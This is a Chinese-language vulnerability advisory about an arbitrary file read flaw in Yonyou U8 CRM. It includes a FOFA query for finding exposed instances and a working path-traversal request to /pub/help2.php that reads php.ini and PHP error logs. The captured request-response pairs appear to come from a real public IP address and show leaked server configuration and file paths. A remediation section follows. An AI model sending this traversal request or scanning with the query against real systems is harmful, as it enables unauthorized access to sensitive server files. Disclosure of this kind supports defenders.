

# 关于用友 U8 CRM客户关系管理系统任意文件读取漏洞预警

## 漏洞描述

用友 U8 CRM是一款综合性的客户关系管理软件，旨在帮助企业建立和维护与客户之间的良好关系。它提供了全面的功能，包括销售管理、市场营销、客户服务和分析报告等。该系统支持多种行业和企业规模，并具有灵活可定制的特点，可以根据企业的需求进行个性化配置。该CRM系统软件存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中敏感文件。

## 影响范围

用友 U8 CRM客户关系管理系统

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | [已公开] | [已公开] | [已知] |

## 风险等级

| 维度    | 评价   |
|-------|------|
| 威胁等级  | 【高危】 |
| 影响面   | 【广】  |
| 攻击者价值 | 【中】  |
| 利用难度  | 【低】  |

## 漏洞复现

FOFA: body="用友U8CRM"

POC/EXP:

GET /pub/help2.php?key=../../apache/php.ini HTTP/1.1

Host: 127.0.0.1:8072

Cache-Control: max-age=0

DNT: 1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/120.0.0.0 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9  
Cookie: PHPSESSID=bk3lv0b1a2gq9fdqb9jf2j86f7  
Connection: close

Request

PrettyRawHex

1GET /pub/help2.php?key=../../apache/php.ini HTTP/1.1

2Host: 59.128.110.92

3Cache-Control: max-age=0

4DNT: 1

5Upgrade-Insecure-Requests: 1

6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

8Accept-Encoding: gzip, deflate

9Accept-Language: zh-CN,zh;q=0.9

10Cookie: PHPSESSID=bk3lv0b1a2gq9fdqb9jf2j86f7

11Connection: close

12

13

Response

PrettyRawHexRender

636; Example:

637;error\_prepend\_string = "<span style='color: #ff0000'"

638

639; String to output after an error message. PHP's default behavior is to

640leave

641; this setting blank.

642; http://php.net/error-append-string

643; Example:

644;error\_append\_string = "

645

646; Log errors to specified file. PHP's default behavior is to leave this

647value

648; empty.

649; http://php.net/error-log

650; Example:

651error\_log = php\_errors.log

652; Log errors to syslog (Event Log on Windows).

653error\_log = syslog

654error\_log=0:\USSOFT\turbocrm70\apache\logs\phperr.log

655

656; windows.show\_crt\_warning

657; Default value: 0

658; Development value: 0

659; Production value: 0

660

661; Data Handling ;

662

663; The separator used in PHP generated URLs to separate arguments.

664; PHP's default setting is "&"

665; http://php.net/arg-separator.output

666; Example:

667;arg\_separator.output = "&amp;"

668

669; List of separator(s) used by PHP to parse input URLs into variables.

670; PHP's default setting is "&"

671; NOTE: Every character in this directive is considered as separator!

672; http://php.net/arg-separator.input

673; Example:

674;arg\_separator.inout = "&";

Request

PrettyRawHex

1GET /pub/help2.php?key=../../apache/logs/phperr.log HTTP/1.1

2Host: 59.128.110.92

3Cache-Control: max-age=0

4DNT: 1

5Upgrade-Insecure-Requests: 1

6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7

8Accept-Encoding: gzip, deflate

9Accept-Language: zh-CN,zh;q=0.9

10Cookie: PHPSESSID=ps059mue5vu12du3rnrur7mmb6

11Connection: close

12

13

Response

PrettyRawHexRender

<div id="maincontent">

[23-Aug-2023 19:09:24 Asia/Shanghai] PHP Fatal error: Uncaught exception 'ExitException' with message 'Exit Exception' in D:\USSOFT\turbocrm70\code\lib\tglobal.lib:1681

Stack trace:

#0 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(791): CRMStopPHP()

#1 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(1594): TGlobal->checkLogin()

#2 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(1616): TLIBF\_commonCheckLogin()

#3 D:\USSOFT\turbocrm70\code\lib\tservice.lib(242):

include\_once('D:\USSOFT\turbo...')

#4 D:\USSOFT\turbocrm70\code\www\pub\startservice.php(17): TSV\_getRequest()

#5 [main]

thrown in D:\USSOFT\turbocrm70\code\lib\tglobal.lib on line 1681

[24-Aug-2023 15:53:03 Asia/Shanghai] PHP Fatal error: Uncaught exception 'ExitException' with message 'Exit Exception' in D:\USSOFT\turbocrm70\code\lib\tglobal.lib:1681

Stack trace:

#0 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(791): CRMStopPHP()

#1 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(1594): TGlobal->checkLogin()

#2 D:\USSOFT\turbocrm70\code\lib\tglobal.lib(1616): TLIBF\_commonCheckLogin()

#3 D:\USSOFT\turbocrm70\code\lib\tservice.lib(242):

include\_once('D:\USSOFT\turbo...')

#4 D:\USSOFT\turbocrm70\code\www\pub\startservice.php(17): TSV\_getRequest()

#5 [main]

thrown in D:\USSOFT\turbocrm70\code\lib\tglobal.lib on line 1681

[24-Aug-2023 15:53:05 Asia/Shanghai] PHP Fatal error: Uncaught exception 'ExitException' with message 'Exit Exception' in D:\USSOFT\turbocrm70\code\lib\tglobal.lib:1681

0 matches

Search...

u8

3544 matches

# 修复方案

## 官方修复：

- 1、检查用户输入：在处理用户输入时，应该对输入进行严格的验证和过滤，避免让恶意输入通过应用程序。
- 2、配置文件权限：在服务器上设置文件和目录的权限，确保只有授权的用户才能够读取敏感的文件。
- 3、使用白名单：为了防止攻击者尝试读取任意文件，可以使用白名单机制来限制应用程序可以访问的文件列表。
- 4、具体修复方法请关注用友官方修改补丁为准。

